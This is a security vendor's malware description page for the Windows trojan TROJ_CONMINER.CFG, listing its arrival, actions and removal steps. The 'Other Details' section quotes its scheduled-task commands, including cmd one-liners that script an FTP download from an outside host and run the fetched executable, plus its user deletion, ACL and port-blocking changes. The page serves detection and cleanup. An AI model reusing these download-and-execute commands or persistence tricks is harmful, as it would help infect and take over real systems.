➔
search
✕

TROJ_CONMINER.CFG

September 07, 2017
 Analysis by: Ryan Paolo Maglaque
 Modified by: Ryan Paolo Maglaque
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

Payload:

Terminates processes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan does the following:

  • Adds the following tasks to execute upon system start:
    • Mysa1 = “rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa”
    • Mysa2 = “cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p”
    • Mysa3 = “cmd /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe”
    • ok = “rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa”
  • Delete the following users:
    • IISUSER$
    • IUSR_Servs
    • Mysql_User
  • Change the access control list of the following:
    • c:\windows\twain_32\csrss.exe to system
    • c:\windows\twain_32\csrss.exe to everyone
    • C:\Windows\systxm1\*.* to system:n
    • C:\Windows\system\*.* to system:n
    • c:\windows\fonts\*.exe to system
  • Deny the following ports:
    • 135
    • 137
    • 138
    • 139
    • 445
  • Disable port 445 in firewall
  • Stop and delete the service:Mysqlverss
  • Terminate the processes and delete the related file of the following:
    • Winlogon.exe
    • svchost.exe
    • csrss.exe

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.180.06

FIRST VSAPI PATTERN DATE:

25 Jan 2017

VSAPI OPR PATTERN File:

13.181.00

VSAPI OPR PATTERN Date:

26 Jan 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete the Scheduled Tasks added by this malware/grayware

[ Learn More ]

To delete the added Scheduled Task file:

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. To do this, click Start>Programs>Accessories>System Tools>Scheduled Tasks.
  2. Double-click on a .JOB file.
  3. Check if the malware path and file name exists in the .JOB file. To do this, check the value in the Run field.
  4. If found, select the .JOB file then press SHIFT+DELETE to permanently delete the file.
  5. Repeat the steps above for the remaining .JOB files.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel of the Task Scheduler Window, click Task Scheduler Library.
  3. In the upper-middle panel, click a Task.
  4. In the lower middle panel, click the Actions tab
  5. Check if the malware path and file name exists in the task. To do this, check the value in the Details column under the Actions tab.
  6. If found, select the task and press DELETE and click Yes to delete the task.
  7. Repeat the steps above for the remaining tasks.

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_CONMINER.CFG. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.